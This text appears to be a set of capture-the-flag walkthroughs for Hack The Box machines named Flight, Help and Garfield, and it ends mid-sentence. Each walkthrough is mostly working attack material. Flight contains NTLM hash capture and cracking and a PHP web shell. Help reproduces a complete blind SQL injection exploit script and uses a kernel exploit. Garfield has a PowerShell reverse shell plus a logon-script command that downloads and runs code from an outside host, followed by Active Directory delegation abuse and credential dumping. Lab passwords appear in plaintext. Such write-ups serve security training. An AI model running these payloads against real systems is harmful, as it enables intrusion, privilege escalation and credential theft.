wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://flight.htb -H "Host: FUZZ.flight.htb" --hh 7069

yes that’s it we got the school subdomain let’s quickly add this to our /etc/hosts file

Note: Before starting wfuzz or any other subdomain enumerations add flight.htb to /etc/hosts fille

let’s visit the school.flight.htb

if we look at the url we can see that the view parameter is calling file, let’s try LFI maybe

Oh there’s some security in place, can we include remote files?

on python webserver on kali

let’s check if we can execute php code i’ll use below simple php code

<?php
phpinfo();
?>

save it as test.php and then access it.

ohh so it not included, let’s check the source to check what’s going on

ok so it just included it’s contents instead of executing it

what now!, we are working with windows box, let’s try smb to get NTLM hash for the user using responder

sudo responder -I tun0 -v

http://school.flight.htb/index.php?view=\\10.10.14.17\test

possibly it beacuse of we are using \ instead of / let’s try /

and we got the hash

let’s crack it using hashcat

hashcat -m 5600 apache.ntlmv2 /usr/share/wordlists/rockyou.txt

great, let’s use this password to enumerate user’s from netexec --users option

netexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --users

users.txt

Administrator
Guest
krbtgt
S.Moon
R.Cold
G.Lors
L.Kein
M.Gold
C.Bum
W.Walker
I.Francis
D.Truff
V.Stevens
svc_apache
O.Possum

let’s check password reuse

netexec smb 10.10.11.187 -u users.txt -p password.txt --continue-on-success

let’s check if user has any permissions for shares

netexec smb 10.10.11.187 -u S.Moon -p 'S@Ss!K@*t13' --shares

we can see that we have read and write permissions over Shared folder let’s keep this thing in our back pocket and move to another thing.

Shares Summary:

NETLOGON: this share is empty

Shared: This share is read and write access

Users: nothing useful in this share

Web: this share contains the directories of flight.htb and school.flight.htb website, but nothing interesting found, we have only READ access to this share

we didn’t find anything useful, so let’s move on with shared folder as we have write permissions to this share, and the share name is Shared, we assume that it might be used as the shared folder between users

i’ve tried to upload test.txt and it successfully uploaded, but when i tried to upload url file to steal NTLM hash to go Access Denied Possibly because of Windows consider url files as the Malicious, we need to check for the different types

we can use https://github.com/Greenwolf/ntlm_theft to create many files and then we can upload those files any of one file accessed by victim and we’ll get NTLM hash of user

clone the repository using git clone

git clone https://github.com/Greenwolf/ntlm_theft

run the python script to generate files

python3 ntlm_theft.py -g all -s 10.10.14.17 -f _0xh3x

https://github.com/Greenwolf/ntlm_theft

connect with SMB share

smbclient //10.10.11.187/Shared -U flight.htb/s.moon%'S@Ss!K@*t13'

start responder

sudo responder -I tun0 -v

run below command to upload all files

smb: \> prompt
smb: \> mput *

and check the responder

let’s use hashcat to crack the hash

hashcat -m 5600 cbum.ntlmv2 /usr/share/wordlists/rockyou.txt

great let’s check the what shares we have access to as C.Bum

netexec smb 10.10.11.187 -u C.Bum -p 'Tikkycoll_431012284' --shares

oh great we have a write access to Web share let’s upload the php reverse shell and get the shell

Shell.php

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd'] . ' 2>&1');
    }
?>
</pre>
</body>
</html>

upload the shell.php in flight.htb and get RCE to the system

connect to web share as C.Bum using smbclient

smbclient //10.10.11.187/Web -U flight.htb/C.Bum%'Tikkycoll_431012284'

upload the shell.php using put shell.php

access the web shell at : http://flight.htb/shell.php

let’s transfer the nc.exe and get the sweet shell, execute commands faster and as shell.php will automatically deleted after 3-4 minutes

let’s start enumerating the system, we found interesting C:\inetpub\development

let’s check the permissions to this folder using icacls .

we found that there’s another user on the system as there’s directory in users folder C:\Users\C.Bum

let’s check the group membership of the user using net user C.Bum

the user is member of WebDevs group and the development directory should be only accessible by developers

but we don’t know on which port it is running

let’s check it by netstat -P TCP -ano

the port 8000 is looks interesting let’s check the access by curl it, site is accessible by curl http://127.0.0.1:8000/development/

unfortunately directory is not writable by us 😟

now as we have the Credentials of the C.Bum user let’s use the runas binary from windows but it does have some limitations we can use it’s alternative https://github.com/antonioCoco/RunasCs/releases

and execute it as C.Bum user to get reverse shell on kali on port 443

RunasCs.exe C.Bum Tikkycoll_431012284 -r 10.10.14.17:443

check reverse shell listener on port 443

let’s check if we now have write access to development folder

let’s check by creating php file named test.php to check if it’s executing the php code

it shows the error that this mime type ‘PHP’ is not allowed, let’s try to upload aspx reverse shell

also if we check the HTTP Header of the web URL using curl

it shows ASP.NET so we need to use the aspx shell which we’ve already uploaded let’s forward the port and access the site from our kali machine

start chisel server on kali using

chisel server --reverse --port 5000

and then connect with chisel client from target machine

chisel.exe client 10.10.14.17:5000 R:8001:127.0.0.1:8000

now you can access development site on http://127.0.0.1:8001 and access cmd.aspx

nice we got the command execution as defaultapppool

run nc.exe from \users\public\nc.exe

let’s check the what privileges do we have using whoami /priv

let’s use the GodPotato to abuse the SeImpersonatePrivilege

god.exe -cmd "net user administrator hacker@123"

now the administrator’s password let’s use the impacket-psexec to get shell as administrator

impacket-psexec flight.htb/Administrator:'hacker@123'@10.10.11.187

Help

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Help
OS type: Linux
Difficulty: Easy

Port Scanning - Service & Version Enumeration

# Nmap 7.94SVN scan initiated Sat Apr 12 12:14:06 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.10.121
Nmap scan report for 10.10.10.121
Host is up, received reset ttl 63 (0.28s latency).
Scanned at 2025-04-12 12:14:07 EDT for 141s
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZY4jlvWqpdi8bJPUnSkjWmz92KRwr2G6xCttorHM8Rq2eCEAe1ALqpgU44L3potYUZvaJuEIsBVUSPlsKv+ds8nS7Mva9e9ztlad/fzBlyBpkiYxty+peoIzn4lUNSadPLtYH6khzN2PwEJYtM/b6BLlAAY5mDsSF0Cz3wsPbnu87fNdd7WO0PKsqRtHpokjkJ22uYJoDSAM06D7uBuegMK/sWTVtrsDakb1Tb6H8+D0y6ZQoE7XyHSqD0OABV3ON39GzLBOnob4Gq8aegKBMa3hT/Xx9Iac6t5neiIABnG4UP03gm207oGIFHvlElGUR809Q9qCJ0nZsup4bNqa/
|   256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHINVMyTivG0LmhaVZxiIESQuWxvN2jt87kYiuPY2jyaPBD4DEt8e/1kN/4GMWj1b3FE7e8nxCL4PF/lR9XjEis=
|   256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxDPln3rCQj04xFAKyecXJaANrW3MBZJmbhtL4SuDYX
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.18
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to http://help.htb/
3000/tcp open  http    syn-ack ttl 63 Node.js Express framework
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 12 12:16:29 2025 -- 1 IP address (1 host up) scanned in 143.01 seconds

Enumeration

Port 80/HTTP

let’s visit the url in web browser

it redirect us to help.htb let’s add the entry in /etc/hosts file, and revist the website

apache default page, hmmm let’s check the directory fuzzing

gobuster dir -u http://help.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

we found /support directory let’s visit it

there’s HelpDeskz service running let’s search exploits for this service and we found it’s github repo https://github.com/ViktorNova/HelpDeskZ/ and visiting the README.md we found it’s version information

now we have the version information as well let’s use this to search for exploit we found Unauthenticated Arbitrary file upload lead to RCE

let’s search on the searchsploit as well

https://www.exploit-db.com/exploits/40300, we used exploit from github → https://github.com/JubJubMcGrub/HelpDeskZ-1.0.2-File-Uplaod/

steps to exploit:

go to http://help.htb/support and go to submit ticket and fill all the necessary details
upload the php-reverse-shell.php and start netcat listener
run the exploit python2 [helpdeskz.py](http://helpdeskz.py/) [http://help.htb/support/uploads/tickets/](http://help.htb/support/uploads/tickets/) php-reverse-shell.php

→ wait for few mins and you’ll get connection on the netcat listener

Bingo!! We got the Shell, but it is not the intended way to get initial access to this machine

Port 3000/HTTP

port 3000 is also running web service

maybe some API server running Node Js Express Framework let’s try dir/files fuzzing into this web server, here i was little bit confused small hint leads me to /graphql endpoint

ok so we are missing query, specifying the query with ? we got following response from the server

we found https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md#enumerate-database-schema-via-introspection query that is used to enumerate the schema

fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}

let’s pass this into query parameter and see what server returns

we found Object User with two fields username and password

further research reveals that we can get data by passing query={user{username,password}} let’s try this

great we found the username and hashed password, let’s try to decode it using crackstation.net

let’s login as helpme@helpme.com

earlier we found the Authenticated SQLi, let’s try to exploit it we’ll use exploit from exploitdb

https://www.exploit-db.com/exploits/41200

Exploit.py

import requests
import sys

if( len(sys.argv) < 3):
	print "put proper data like in example, remember to open a ticket before.... "
	print "python helpdesk.py http://192.168.43.162/helpdesk/ myemailtologin@gmail.com password123"
	exit()
EMAIL = sys.argv[2]
PASSWORD = sys.argv[3]

URL = sys.argv[1]

def get_token(content):
	token = content
	if "csrfhash" not in token:
		return "error"
	token = token[token.find('csrfhash" value="'):len(token)]
	if '" />' in token:
		token = token[token.find('value="')+7:token.find('" />')]
	else:
		token = token[token.find('value="')+7:token.find('"/>')]
	return token

def get_ticket_id(content):
	ticketid = content
	if "param[]=" not in ticketid:
                return "error"
	ticketid = ticketid[ticketid.find('param[]='):len(ticketid)]
	ticketid = ticketid[8:ticketid.find('"')]
	return ticketid

def main():

    # Start a session so we can have persistant cookies
	session = requests.session()

	r = session.get(URL+"")
	print "working on it.."
	print r
	#GET THE TOKEN TO LOGIN
        TOKEN = get_token(r.content)
	if(TOKEN=="error"):
		print "cannot find token"
		exit();
    #Data for login
	login_data = {
		'do': 'login',
		'csrfhash': TOKEN,
		'email': EMAIL,
		'password': PASSWORD,
		'btn': 'Login'
	}

    # Authenticate
	print "loging-in..."
	r = session.post(URL+"/?v=login", data=login_data)
	print r
    #GET  ticketid
	ticket_id = get_ticket_id(r.content)
	print "got ticket :"+ticket_id
        if(ticket_id=="error"):
                print "ticketid not found, open a ticket first"
		exit()
	#change this according to your parameters last two parameters need to change based on your url, to get that go to tickets and click on attachment and you'll find the last two parameter value in url replace it with here
	target = URL +"?v=view_tickets&action=ticket&param[]="+ticket_id+"&param[]=attachment&param[]=1&param[]=1"

	limit = 1
        char = 47
        prefix=[]
        while(char!=123):
                target_prefix = target+ " and ascii(substr((SeLeCt table_name from information_schema.columns where table_name like '%staff'  limit 0,1),"+str(limit)+",1)) =  "+str(char)+" -- -"
                #print "getting target prefix: "+target_prefix

		response = session.get(target_prefix).content
		#print "target prefix: "+response
                if "couldn't find" not in response:
                        prefix.append(char)
                        limit=limit+1
                        char=47
                else:
                        char=char+1
	table_prefix = ''.join(chr(i) for i in prefix)
	print "\n\n++ prefix: "+table_prefix
	table_prefix = table_prefix[0:table_prefix.find('staff')]
	
	limit = 1
	char = 47
	admin_u=[]
	while(char!=123):
		target_username = target+ " and ascii(substr((SeLeCt username from "+table_prefix+"staff  limit 0,1),"+str(limit)+",1)) =  "+str(char)+" -- -"
		#print "using payload: "+target_username
		response = session.get(target_username).content
		#print "username found: "+response
		if "couldn't find" not in response:
			admin_u.append(char)
			limit=limit+1
			char=47
		else:
			char=char+1

        limit = 1
        char = 47
        admin_pw=[]
        while(char!=123):
                target_password = target+ " and ascii(substr((SeLeCt password from "+table_prefix+"staff  limit 0,1),"+str(limit)+",1)) =  "+str(char)+" -- -"
                #print "using payload: "+target_password
		response = session.get(target_password).content
		#print "password found: "+response
                if "couldn't find" not in response:
                        admin_pw.append(char)
                        limit=limit+1
                        char=47
                else:
                        char=char+1

	admin_username = ''.join(chr(i) for i in admin_u)
	admin_password = ''.join(chr(i) for i in admin_pw)

	print "------------------------------------------"
	print "username: "+admin_username
	print "password: sha256("+admin_password+")"
	if admin_username==""  and  admin_password=='':
		print "Your ticket have to include attachment, probably none atachments found, or prefix is not equal hdz_"
		print "try to submit ticket with attachment"
if __name__ == '__main__':
    main()

i’ve modified this exploit, to add some print statement and solve the session() error, this will help you to understand the exploit and debug it if you face any issues, let’s run the exploit using

python2 41200.py http://help.htb/support/ helpme@helpme.com godhelpmeplz

here if you are not getting prefix value you might doing something wrong in parameters values, let’s crack the obtained hash using crackstation.net

now we do have the admin credentials what about ssh!, but admin is not valid username what next let’s create a basic wordlist based on this machine’s nature

we’ll include names we found earlier, system name, machine name, root, admin, running services names etc

then i’ll run hydra on the target

hydra -L users.txt -p Welcome1 ssh://10.10.10.121

i got the password, i’ll use this credentials to login to machine using ssh

ssh help@10.10.10.121

Post-Enum

then i’ll first check for my sudo permissions

help user can’t run sudo on this machine, what about SUID binaries

find / -type f -perm -4000 2>/dev/null

nothing interesting, no sensitive files, hardcoded credentials here

any internal service running?

ss -tunlp

i noticed that the SMTP is running internally it’s worthy to check the mail

cat /var/mail/help

these are the system generated mails, nothing interesting here

no interesting files belongs to us you can check it via find / -user help 2>/dev/null | grep -v "/proc" | grep -v "/home/help/help/"

i’ll upload the linpeas.sh to automate the enumeration

but i didin’t find anything useful from linpeas output, so i’ve decided to look for the Kernel exploits, so i first grab the system version and OS information

cat /etc/*-release

as it is ubuntu 16.4, it’s possibility to get kernel exploit as it is old OS

then i uploaded the linux-exploit-suggester.sh to target machine and run

CVE-2017-16995: is highly probable so i downloaded the exploit in my kali machine start python3 -m http.server and use wget to download 45010.c to target machine

then i compiled c file using

gcc -o exploit 45010.c

make it executable using chmod -x exploit and then run exploit ./exploit

Garfield

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Garfield
OS Type: Windows (AD)
Difficulty: Hard

Port Scanning - Service & Version Enumeration

we’ll first scan the target IP for open ports and running services

# Nmap 7.98 scan initiated Sun Apr  5 10:51:40 2026 as: /usr/lib/nmap/nmap -p- --open -Pn -sVC -vv -oN nmap.out 10.129.22.167
Nmap scan report for 10.129.22.167
Host is up, received user-set (0.19s latency).
Scanned at 2026-04-05 10:51:41 IST for 716s
Not shown: 65513 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-04-05 13:31:57Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
2179/tcp  open  vmrdp?        syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
3389/tcp  open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
|_ssl-date: 2026-04-05T13:33:33+00:00; +8h00m03s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: GARFIELD
|   NetBIOS_Domain_Name: GARFIELD
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: garfield.htb
|   DNS_Computer_Name: DC01.garfield.htb
|   DNS_Tree_Name: garfield.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2026-04-05T13:32:52+00:00
| ssl-cert: Subject: commonName=DC01.garfield.htb
| Issuer: commonName=DC01.garfield.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-13T01:10:36
| Not valid after:  2026-08-15T01:10:36
| MD5:     1d54 628d c6bd 0ef0 98e8 6fe7 ed23 3178
| SHA-1:   6a3b 9a1d cd3f 0006 7f71 f340 cefb 59b8 b2e9 5041
| SHA-256: f7cc 022a 49f7 12ba 7bf1 ba5e 4d55 723c c89b 0f9e e9cc 1e29 9d2b 8d7e 36f3 c999
| -----BEGIN CERTIFICATE-----
| MIIC5jCCAc6gAwIBAgIQRWjBnxmhFpRL9DZFFlNNGzANBgkqhkiG9w0BAQsFADAc
| MRowGAYDVQQDExFEQzAxLmdhcmZpZWxkLmh0YjAeFw0yNjAyMTMwMTEwMzZaFw0y
| NjA4MTUwMTEwMzZaMBwxGjAYBgNVBAMTEURDMDEuZ2FyZmllbGQuaHRiMIIBIjAN
| BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAudwNMshQBO3zq1/pE8+nBxwGxJ1l
| SyyT5cTIhNDVGOj1kvnrvbksT07EV+vqMFnCrp1d4CAwvOqCGFuPPoVw2X6oEM3C
| Hk3WdpoAGDuSUSNSvfketGhPiPjD0mbRUl0/TLqDu0shOL1D7q1IXHh4H/S7Rqgd
| GXUs7jQ19RryyVJ6fbH1aoZrg2JATrlpzAh9u77upPVhK2omeTyEz9PNxeElbb8j
| 22YgC9WjR+YSwQcq9xjMNS+8Bf2MwF9ltPYp3M8PKMO6Ib93EvWfbkQ75gxB1CJ+
| UJo85i8/N1L5ZvfkDP5UkBkGKiaWDfIqx+RlpUuOt5Y98N/szT08l+YQBQIDAQAB
| oyQwIjATBgNVHSUEDDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcN
| AQELBQADggEBACOttD+PBn41TyIk0Fr5ISoHzalcZLFhWwVpmJKvGPwEEj+2o3JI
| yZgV0kVinOLCkEY2O+N95iWNcbc0jTkmkhHmfTyNZ2mA4P0Dxd+TVnBzUleL8Tjm
| Rm8s53SBxncdtykSulWbszQLLgRy09EBapw2JHNpWG9p0ymPqW3uBGcJXfsZ3hif
| +xIeWo+aXoJfSG4F+ptBxRMJ7OGr+q4jQh84VUi5tLUXtHvxJMuM/LPgNVkEsYFU
| yNeT8ukEDEdMTVAYWeftXPMfAbdDX1Ptr0JCeLW5VFWrql9EszHXs4nCvoBg9iSj
| 7ipPJi99f+g9vL4srEEeQxsVGlv/RZ85Bj4=
|_-----END CERTIFICATE-----
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49673/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49900/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
61930/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 8590/tcp): CLEAN (Timeout)
|   Check 2 (port 15919/tcp): CLEAN (Timeout)
|   Check 3 (port 49658/udp): CLEAN (Timeout)
|   Check 4 (port 26194/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 8h00m02s, deviation: 0s, median: 8h00m02s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-04-05T13:32:52
|_  start_date: N/A

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr  5 11:03:37 2026 -- 1 IP address (1 host up) scanned in 716.73 seconds

we are provided with the password so first we’ve checked the SMB, LDAP for any useful information but we didn’t get anything useful. but we found 1 logon script:

nxc smb 10.129.244.207 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --shares

let’s use the spider_plus module of the NXC to get the files/folders inside the hsahre

nxc smb 10.129.244.207 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --share NETLOGON -M spider_plus

we can check the metadata json file, to see the results

cat /home/kali/.nxc/modules/nxc_spider_plus/10.129.244.207.json | jq .

we can see that there’s printerDetect.bat file inside the NETLOGON folder

also in the SYSVOL folder

some google search reveals

so the printerDetect.bat file is the logon file for some user in garfield.htb domain. let’s download it and verify it’s contents

nxc smb 10.129.244.207 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --share SYSVOL --get-file 'garfield.htb/scripts/printerDetect.bat' printerdetect.bat

let’s check if we can find any creds inside it

while searching for potential attack paths/vectors i came across very good article - https://medium.com/@muneebnawaz3849/writescriptpath-abuse-in-active-directory-cb5945848a51

this i the tool we are gonna use to analyze any potential attack paths

https://github.com/topotam/adalanche

<aside> 💡

Installation Steps:

git clone the repo, and run ./build.sh

</aside>

now let’s run the tool against the target server

first we collect the data and then we analyze it.

collect data

sudo adalanche collect activedirectory --authdomain garfield.htb --username j.arbuckle --password 'Th1sD4mnC4t!@1978'  --server 10.129.244.207 --tlsmode NoTLS --port 389 --debug --domain garfield.htb --authmode simple

now we can analyze the routes using (run from the same folder where you’ve collected the data)

sudo adalanche analyze

we found that the user is member of IT support group and has writescript path permissions on the Liz Wilson ADM user.

also we can see that liz wilson ADM is the member of Remote management users group.

also we can see that we are having writescriptpath on liz wilson

and liz wilson is having ResetPassword on the Liz Wilson ADM user

Let’s try to get shell as Liz Wilson as we are having ForceChangePassword so we can reset the password for the liz wilson ADM and then we can do evil-winrm

shell.ps1

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.8",4444);
$stream = $client.GetStream();
$writer = New-Object System.IO.StreamWriter($stream);
$buffer = New-Object byte[] 1024;
$encoding = New-Object System.Text.ASCIIEncoding;

while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0) {
    $data = $encoding.GetString($buffer, 0, $i);
    $sendback = (Invoke-Expression $data 2>&1 | Out-String );
    $sendback2  = $sendback + "PS " + (Get-Location).Path + "> ";
    $sendbyte = $encoding.GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush();
}
$client.Close();

and then we can prepare the script.bat

@echo off
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.8/shell.ps1')"

Now we need to upload the script to SYSVOL share

smbclient //10.129.244.207/SYSVOL -U 'garfield.htb\j.arbuckle%Th1sD4mnC4t!@1978'

now we need to assign logon script via scriptPath LDAP attribute, we have 2 ways we can do bloodyAD [https://www.thehacker.recipes/ad/movement/dacl/logon-script]

bloodyAD --host "10.129.244.207" -d "garfield.htb" -u "j.arbuckle" -p "Th1sD4mnC4t!@1978" set object l.wilson scriptPath -v 'script.bat'

but we’ll use the ldapmodify to manually do this

script.ldif

dn: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb
changetype: modify
replace: scriptPath
scriptPath: script.bat

<aside> 💡

An .ldif file (LDAP Data Interchange Format) is a plain-text file used to exchange, import, or export directory information between Lightweight Directory Access Protocol (LDAP) servers, such as Active Directory or OpenLDAP. It represents directory entries and modifications as human-readable text, often used for backups, migrations, or batch updates

</aside>

now let’s use the ldapmodify to modify the scriptpath

ldapmodify -H ldap://10.129.244.207 -D "j.arbuckle@garfield.htb" -w 'Th1sD4mnC4t!@1978' -f script.ldif

and we can start python server and netcat listener on port 4444

use net user command to reset the password

net user l.wilson_adm "Hacker@123" /domain

but however it was not working then i’ve used the below powershell command

Set-ADAccountPassword -Identity "l.wilson_adm" -NewPassword (ConvertTo-SecureString -AsPlainText "Hacker@123" -Force) -Reset

let’s verify the new password

nxc winrm 10.129.244.207 -u l.wilson_adm -p 'Hacker@123'

let’s go we can now login to machine using evil-winrm

evil-winrm-py -i 10.129.244.207 -u l.wilson_adm -p 'Hacker@123'

Now we can use bloodhound-python to gather AD data

bloodhound-python -c all -d garfield.htb -u l.wilson_adm -p 'Hacker@123' -dc DC01.garfield.htb -ns 10.129.244.207

now we can analyze the data in bloodhound

we can see that l.wilson_adm is member of TIER 1 group and it has AddSelf privileges on RODC Administrators group.

now here RODC (Read-Only Domain Controller) comes into play.

let’s check if we can reach that machine or not

we can see that it is on internal network

now we need to setup the tunnel using ligolo to reach RODC01 machine which is on the internal network.

let’s upload the agent.exe using evil-winrm

upload /home/kali/tools/ligolo/agent.exe .

we can start proxy on the kali machine

sudo /home/kali/tools/ligolo/proxy --selfcert

and from DC01 machine we can connect to it

Start-Process -NoNewWindow -FilePath "\Users\l.wilson_adm\Documents\agent.exe" -ArgumentList "-connect 10.10.14.8:11601 -ignore-cert"

use autoroute command

now let’s verify if we can reach to RODC01 machine or not

let’s add the entry in /etc/hosts file

nxc smb 192.168.100.2 --generate-hosts-file rodc.hosts

cat rodc.hosts | sudo tee -a /etc/hosts

let’s use the netexec to verify if the l.wilson_adm is able to login to RODC01 or not

nxc smb RODC01 -u l.wilson_adm -p Hacker@123

now we can use the bloodyAD to add the l.wilson_adm user to RODC Administrators group

bloodyAD --host 10.129.244.207 -d garfield.htb -u l.wilson_adm -p Hacker@123 add groupMember "CN=RODC ADMINISTRATORS,CN=USERS,DC=GARFIELD,DC=HTB" "l.wilson_adm"

i thought we have to get the Administrator access on the RODC01 machine and that’s it

but it didn’t work, so let’s check if we are having winrm to RODC01 machine

nxc winrm RODC01 -u l.wilson_adm -p Hacker@123

i’ve logged in as l.wilson_adm user but didn’t get anything useful, let’s go back to bloodhound and check any other interesting attack paths

we can see that we are having WriteAccountRestriction Privilege over RODC01 machine

https://specterops.io/blog/2025/10/01/writeaccountrestrictions-war-what-is-it-good-for/

so we can do RBCD over the RODC01 machine

first we need to add the Machine account

impacket-addcomputer -computer-name '0xh3x$' -computer-pass 'Hacker@123' -dc-host 10.129.244.207 -domain-netbios GARFIELD.HTB 'garfield.htb/l.wilson_adm:Hacker@123'

We now need to configure the target object so that the attacker-controlled computer can delegate to it. Impacket's rbcd.py script can be used for that purpose:

impacket-rbcd -delegate-from '0xh3x$' -delegate-to 'RODC01$' -action 'write' 'garfield.htb/l.wilson_adm:Hacker@123'

now we can request the service ticket and impersonate the Administrator user

impacket-getST -spn 'cifs/RODC01.garfield.htb' -impersonate 'administrator' 'garfield.htb'/'0xh3x$':'Hacker@123' -dc-ip 10.129.244.207

now we can use the impacket-psexec

impacket-psexec -k -no-pass GARFIELD.HTB/administrator@RODC01.garfield.htb

now let’s get the flag from the Administrator user’s desktop.

but i didn’t find any flag on the Administrator desktop possibly the flag is on the DC01 machine.

let’s use the secretsdump to dump the hashes of the users from RODC01

	impacket-secretsdump -k -no-pass GARFIELD.HTB/administrator@RODC01.garfield.htb

but didn’t get anything useful after some research i came across the below article which introduce us to new attack called KeyList attack.

https://specterops.io/blog/2023/01/25/at-the-edge-of-tier-zero-the-curious-case-of-the-rodc

Further research lead us to - https://www.thehacker.recipes/ad/movement/credentials/dumping/kerberos-key-list

but for attack we requires some of the things, AES key of the kerberos account, krbtgt account number.

again i logged into the RODC01 and found mimikatz.exe under svc_ldap user’s directory

now i’ve tried to dump the Hash using mimikatz but i am not able to get the hash of krbtgt account

let’s check the user’s name using net usercommand

what if we do the dcsync to get only krbtgt_8245 account hash

i’ve tried to do that as well but it was not working.

then in article i found that we can not perform DCSync from the RODC

more googling and researching lead us to - https://0xpthree.gitbook.io/notes/active-directory/dacl-abuse/rights-on-rodc-object

it says:

